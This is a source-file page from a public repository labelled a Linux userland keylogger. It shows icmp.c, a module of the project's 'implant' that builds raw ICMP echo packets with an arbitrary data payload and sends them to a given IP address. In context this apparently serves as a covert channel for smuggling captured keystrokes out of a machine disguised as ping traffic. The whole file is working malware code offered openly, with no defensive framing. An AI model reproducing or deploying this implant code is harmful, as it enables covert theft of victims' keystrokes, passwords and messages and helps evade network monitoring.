mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
icmp.c (2121B)
      1 #include "implant.h"
      2 
      3 #include <arpa/inet.h>
      4 #include <netinet/ip_icmp.h>
      5 #include <string.h>
      6 #include <sys/socket.h>
      7 
      8 typedef struct {
      9     struct icmphdr hdr;
     10     uint8_t data[ICMP_DATA_SIZE];
     11 } icmp_packet_t;
     12 
     13 static uint16_t
     14 icmp_checksum(const void *buf, size_t len) {
     15     const uint8_t *ptr = buf;
     16     uint32_t sum = 0;
     17 
     18     while (len > 1) {
     19         uint16_t word;
     20         memcpy(&word, ptr, sizeof(word));
     21         sum += word;
     22         ptr += 2;
     23         len -= 2;
     24     }
     25 
     26     if (len == 1)
     27         sum += *ptr;
     28 
     29     sum = (sum >> 16) + (sum & 0xFFFF);
     30     sum += (sum >> 16);
     31 
     32     return (uint16_t)(~sum);
     33 }
     34 
     35 static void
     36 build_icmp_packet(icmp_packet_t *pkt, const uint8_t *payload, size_t payload_len) {
     37     static uint16_t seq = 0;
     38 
     39     memset(pkt, 0, sizeof(*pkt));
     40 
     41     pkt->hdr.type = ICMP_ECHO;
     42     pkt->hdr.code = 0;
     43     pkt->hdr.un.echo.id = htons((uint16_t)getpid());
     44     pkt->hdr.un.echo.sequence = htons(seq++);
     45     pkt->hdr.checksum = 0;
     46 
     47     size_t copy_len = payload_len < ICMP_DATA_SIZE ? payload_len : ICMP_DATA_SIZE;
     48     memcpy(pkt->data, payload, copy_len);
     49 
     50     pkt->hdr.checksum = icmp_checksum(pkt, sizeof(*pkt));
     51 }
     52 
     53 uint8_t
     54 icmp_send(const int8_t *dst_ip, const uint8_t *payload, size_t len) {
     55     icmp_packet_t packet = {0};
     56     struct sockaddr_in dest = {0};
     57     int sockfd;
     58 
     59     if (!dst_ip || !payload)
     60         return ERROR;
     61 
     62     sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
     63     if (sockfd < 0) {
     64 #ifdef DEBUG
     65         DEBUG_LOG("icmp_send: socket creation failed\n");
     66 #endif
     67         return ERROR;
     68     }
     69 
     70     dest.sin_family = AF_INET;
     71     if (inet_pton(AF_INET, (const char *)dst_ip, &dest.sin_addr) != 1) {
     72 #ifdef DEBUG
     73         DEBUG_LOG("icmp_send: invalid IP address %s\n", dst_ip);
     74 #endif
     75         close(sockfd);
     76         return ERROR;
     77     }
     78 
     79     build_icmp_packet(&packet, payload, len);
     80 
     81     ssize_t sent = sendto(sockfd, &packet, sizeof(packet), 0,
     82                           (struct sockaddr *)&dest, sizeof(dest));
     83 
     84     close(sockfd);
     85 
     86     if (sent < 0) {
     87 #ifdef DEBUG
     88         DEBUG_LOG("icmp_send: sendto failed\n");
     89 #endif
     90         return ERROR;
     91     }
     92 
     93     return SUCCESSFUL;
     94 }